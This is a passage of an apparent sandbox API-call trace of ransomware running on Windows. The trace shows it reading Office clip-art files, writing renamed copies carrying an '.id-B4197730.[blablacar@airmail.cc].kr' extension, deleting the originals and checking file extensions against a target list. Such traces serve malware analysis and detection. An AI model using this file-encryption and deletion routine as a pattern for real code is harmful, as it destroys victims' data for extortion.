hFile=0x544, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x5c30, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x5c30, lpOverlapped=0x0) returned 1 [0205.427] ReadFile (in: hFile=0x518, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0205.427] WriteFile (in: hFile=0x544, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0205.427] SetEndOfFile (hFile=0x544) returned 1 [0205.427] CloseHandle (hObject=0x544) returned 1 [0205.427] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0205.427] SetEndOfFile (hFile=0x518) returned 1 [0205.430] CloseHandle (hObject=0x518) returned 1 [0205.430] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0205.431] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf")) returned 1 [0205.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0205.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0205.431] lstrlenW (lpString=".doc") returned 4 [0205.431] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0205.431] lstrlenW (lpString=".docx") returned 5 [0205.431] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0205.432] lstrlenW (lpString=".pdf") returned 4 [0205.432] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0205.432] lstrlenW (lpString=".xls") returned 4 [0205.432] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0205.432] lstrlenW (lpString=".xlsx") returned 5 [0205.432] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0205.432] lstrlenW (lpString=".ppt") returned 4 [0205.432] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0205.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0205.432] lstrlenW (lpString=".zip") returned 4 [0205.432] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0205.432] lstrlenW (lpString=".rar") returned 4 [0205.432] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0205.432] lstrlenW (lpString=".bz2") returned 4 [0205.432] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0205.432] lstrlenW (lpString=".7z") returned 3 [0205.432] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0205.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0205.432] lstrlenW (lpString=".dbf") returned 4 [0205.432] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0205.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0205.432] lstrlenW (lpString=".1cd") returned 4 [0205.432] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0205.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0205.432] lstrlenW (lpString=".jpg") returned 4 [0205.432] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0205.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0205.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0205.432] lstrlenW (lpString=".doc") returned 4 [0205.432] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0205.432] lstrlenW (lpString=".docx") returned 5 [0205.432] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0205.432] lstrlenW (lpString=".pdf") returned 4 [0205.433] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0205.433] lstrlenW (lpString=".xls") returned 4 [0205.433] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0205.433] lstrlenW (lpString=".xlsx") returned 5 [0205.433] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0205.433] lstrlenW (lpString=".ppt") returned 4 [0205.433] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0205.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0205.433] lstrlenW (lpString=".zip") returned 4 [0205.433] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0205.433] lstrlenW (lpString=".rar") returned 4 [0205.433] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0205.433] lstrlenW (lpString=".bz2") returned 4 [0205.433] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0205.433] lstrlenW (lpString=".7z") returned 3 [0205.433] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0205.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0205.433] lstrlenW (lpString=".dbf") returned 4 [0205.433] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0205.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0205.433] lstrlenW (lpString=".1cd") returned 4 [0205.433] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0205.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0205.433] lstrlenW (lpString=".jpg") returned 4 [0205.433] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0205.433] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0205.433] lstrlenW (lpString="J0105232.WMF") returned 12 [0205.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0205.434] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=5632) returned 1 [0205.434] CloseHandle (hObject=0x518) returned 1 [0205.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf")) returned 0x220 [0205.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0205.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0205.435] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0205.435] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0205.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0205.435] GetLastError () returned 0x0 [0205.435] ReadFile (in: hFile=0x518, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x1600, lpOverlapped=0x0) returned 1 [0205.638] WriteFile (in: hFile=0x544, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x1610, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x1610, lpOverlapped=0x0) returned 1 [0205.882] ReadFile (in: hFile=0x518, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0205.882] WriteFile (in: hFile=0x544, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0205.883] SetEndOfFile (hFile=0x544) returned 1 [0206.127] CloseHandle (hObject=0x544) returned 1 [0206.143] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0206.143] SetEndOfFile (hFile=0x518) returned 1 [0206.696] CloseHandle (hObject=0x518) returned 1 [0206.696] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0206.698] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf")) returned 1 [0206.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0206.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0206.699] lstrlenW (lpString=".doc") returned 4 [0206.699] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0206.699] lstrlenW (lpString=".docx") returned 5 [0206.699] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0206.699] lstrlenW (lpString=".pdf") returned 4 [0206.699] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0206.699] lstrlenW (lpString=".xls") returned 4 [0206.699] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0206.699] lstrlenW (lpString=".xlsx") returned 5 [0206.699] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0206.699] lstrlenW (lpString=".ppt") returned 4 [0206.699] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0206.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0206.699] lstrlenW (lpString=".zip") returned 4 [0206.699] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0206.699] lstrlenW (lpString=".rar") returned 4 [0206.699] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0206.699] lstrlenW (lpString=".bz2") returned 4 [0206.699] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0206.699] lstrlenW (lpString=".7z") returned 3 [0206.699] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0206.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0206.700] lstrlenW (lpString=".dbf") returned 4 [0206.700] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0206.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0206.700] lstrlenW (lpString=".1cd") returned 4 [0206.700] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0206.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0206.700] lstrlenW (lpString=".jpg") returned 4 [0206.700] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0206.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0206.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0206.700] lstrlenW (lpString=".doc") returned 4 [0206.700] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0206.700] lstrlenW (lpString=".docx") returned 5 [0206.700] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0206.700] lstrlenW (lpString=".pdf") returned 4 [0206.700] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0206.700] lstrlenW (lpString=".xls") returned 4 [0206.700] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0206.700] lstrlenW (lpString=".xlsx") returned 5 [0206.700] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0206.700] lstrlenW (lpString=".ppt") returned 4 [0206.700] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0206.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0206.700] lstrlenW (lpString=".zip") returned 4 [0206.700] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0206.700] lstrlenW (lpString=".rar") returned 4 [0206.700] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0206.700] lstrlenW (lpString=".bz2") returned 4 [0206.700] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0206.700] lstrlenW (lpString=".7z") returned 3 [0206.700] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0206.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0206.700] lstrlenW (lpString=".dbf") returned 4 [0206.701] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0206.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0206.701] lstrlenW (lpString=".1cd") returned 4 [0206.701] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0206.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0206.701] lstrlenW (lpString=".jpg") returned 4 [0206.701] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0206.701] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0206.701] lstrlenW (lpString="J0105376.WMF") returned 12 [0206.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0206.702] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=4964) returned 1 [0206.702] CloseHandle (hObject=0x518) returned 1 [0206.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf")) returned 0x220 [0206.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0206.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0206.703] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0206.703] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0206.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0206.704] GetLastError () returned 0x0 [0206.704] ReadFile (in: hFile=0x518, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x1364, lpOverlapped=0x0) returned 1 [0206.706] WriteFile (in: hFile=0x554, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x1370, lpOverlapped=0x0) returned 1 [0206.707] ReadFile (in: hFile=0x518, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0206.707] WriteFile (in: hFile=0x554, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0206.707] SetEndOfFile (hFile=0x554) returned 1 [0206.707] CloseHandle (hObject=0x554) returned 1 [0206.707] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0206.707] SetEndOfFile (hFile=0x518) returned 1 [0206.709] CloseHandle (hObject=0x518) returned 1 [0206.710] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0206.710] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf")) returned 1 [0206.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0206.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0206.711] lstrlenW (lpString=".doc") returned 4 [0206.711] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0206.711] lstrlenW (lpString=".docx") returned 5 [0206.711] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0206.711] lstrlenW (lpString=".pdf") returned 4 [0206.711] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0206.711] lstrlenW (lpString=".xls") returned 4 [0206.711] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0206.711] lstrlenW (lpString=".xlsx") returned 5 [0206.711] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0206.711] lstrlenW (lpString=".ppt") returned 4 [0206.711] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0206.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0206.711] lstrlenW (lpString=".zip") returned 4 [0206.711] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0206.711] lstrlenW (lpString=".rar") returned 4 [0206.711] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0206.711] lstrlenW (lpString=".bz2") returned 4 [0206.711] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0206.711] lstrlenW (lpString=".7z") returned 3 [0206.711] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0206.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0206.711] lstrlenW (lpString=".dbf") returned 4 [0206.711] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0206.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0206.711] lstrlenW (lpString=".1cd") returned 4 [0206.711] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0206.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0206.711] lstrlenW (lpString=".jpg") returned 4 [0206.711] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0206.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0206.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0206.712] lstrlenW (lpString=".doc") returned 4 [0206.712] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0206.712] lstrlenW (lpString=".docx") returned 5 [0206.712] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0206.712] lstrlenW (lpString=".pdf") returned 4 [0206.712] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0206.712] lstrlenW (lpString=".xls") returned 4 [0206.712] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0206.712] lstrlenW (lpString=".xlsx") returned 5 [0206.712] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0206.712] lstrlenW (lpString=".ppt") returned 4 [0206.712] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0206.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0206.712] lstrlenW (lpString=".zip") returned 4 [0206.712] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0206.712] lstrlenW (lpString=".rar") returned 4 [0206.712] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0206.712] lstrlenW (lpString=".bz2") returned 4 [0206.712] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0206.712] lstrlenW (lpString=".7z") returned 3 [0206.712] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0206.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0206.712] lstrlenW (lpString=".dbf") returned 4 [0206.712] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0206.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0206.712] lstrlenW (lpString=".1cd") returned 4 [0206.712] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0206.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0206.712] lstrlenW (lpString=".jpg") returned 4 [0206.712] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0206.713] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0206.713] lstrlenW (lpString="J0105378.WMF") returned 12 [0206.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0206.713] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=4964) returned 1 [0206.713] CloseHandle (hObject=0x518) returned 1 [0206.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf")) returned 0x220 [0206.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0206.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0206.714] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0206.714] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0206.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0206.715] GetLastError () returned 0x0 [0206.715] ReadFile (in: hFile=0x518, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x1364, lpOverlapped=0x0) returned 1 [0206.716] WriteFile (in: hFile=0x554, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x1370, lpOverlapped=0x0) returned 1 [0206.717] ReadFile (in: hFile=0x518, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0206.717] WriteFile (in: hFile=0x554, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, 